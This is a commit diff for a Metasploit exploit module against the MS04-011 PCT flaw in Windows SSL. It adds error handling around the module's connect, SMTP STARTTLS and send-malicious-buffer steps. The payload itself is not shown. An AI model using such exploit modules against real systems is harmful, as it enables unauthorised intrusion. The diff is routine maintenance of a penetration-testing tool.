Skip to content

Commit 933c4a0

Browse files
committed
Land rapid7#4814, ms04_011_pct improved error messages
2 parents 29ac27f + 441c301 commit 933c4a0

File tree

1 file changed

+43
-9
lines changed

1 file changed

+43
-9
lines changed

modules/exploits/windows/ssl/ms04_011_pct.rb

Lines changed: 43 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -112,7 +112,12 @@ def initialize(info = {})
112112
end
113113

114114
def exploit
115-
connect
115+
begin
116+
connect
117+
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused => e
118+
print_error("Cannot connect: #{e.message}")
119+
return
120+
end
116121

117122
print_status("Trying target #{target.name} with proto #{datastore['PROTO']}...")
118123

@@ -133,22 +138,51 @@ def exploit
133138

134139
# Connect to a SMTP service, call STARTTLS
135140
if (datastore['PROTO'] == 'smtp')
136-
greeting = sock.get_once
141+
begin
142+
greeting = sock.get_once
143+
rescue ::EOFError => e
144+
print_error("Failed to receive data for the protocol greeting: #{e.message}")
145+
return
146+
end
137147

138-
sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n")
139-
resp = sock.get_once
148+
begin
149+
sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n")
150+
resp = sock.get_once
151+
rescue ::Timeout::Error
152+
print_error("Timedout while sending HELO")
153+
return
154+
rescue ::EOFError => e
155+
print_error("Failed to receive a response for HELO: #{e.message}")
156+
return
157+
end
140158

141-
sock.put("STARTTLS\r\n")
142-
resp = sock.get_once
159+
begin
160+
sock.put("STARTTLS\r\n")
161+
resp = sock.get_once
162+
rescue ::Timeout::Error
163+
print_error("Timed out while sending STARTTLS")
164+
return
165+
rescue ::EOFError => e
166+
print_error("Failed to receive a response for STARTTLS: #{e.message}")
167+
return
168+
end
143169

144170
if (resp and resp !~ /^220/)
145171
print_warning("Warning: this server may not support STARTTLS")
146172
end
147-
148173
end
149174

150-
sock.put(buf)
151-
resp = sock.get_once
175+
176+
begin
177+
sock.put(buf)
178+
resp = sock.get_once
179+
rescue ::Timeout::Error => e
180+
print_error("Timed out while sending the malicious data")
181+
return
182+
rescue ::EOFError => e
183+
print_error("Failed to receive a response after the malicious data: #{e.message}")
184+
return
185+
end
152186

153187
if (resp == "\x00\x00\x01")
154188
print_status("The response indicates that the PCT protocol is disabled")

0 commit comments

Comments
 (0)